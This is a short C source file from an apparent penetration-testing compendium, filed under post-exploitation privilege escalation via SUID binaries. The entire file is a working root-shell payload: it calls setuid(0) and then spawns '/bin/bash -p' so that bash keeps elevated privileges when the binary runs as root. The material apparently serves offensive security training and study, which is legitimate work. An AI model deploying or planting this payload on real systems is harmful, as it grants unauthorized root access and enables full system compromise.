killchain-compendium/Post Exploitation/Privilege Escalation/suid/service.c

5 lines
52 B
C

int main() {
setuid(0);
system("/bin/bash -p");
}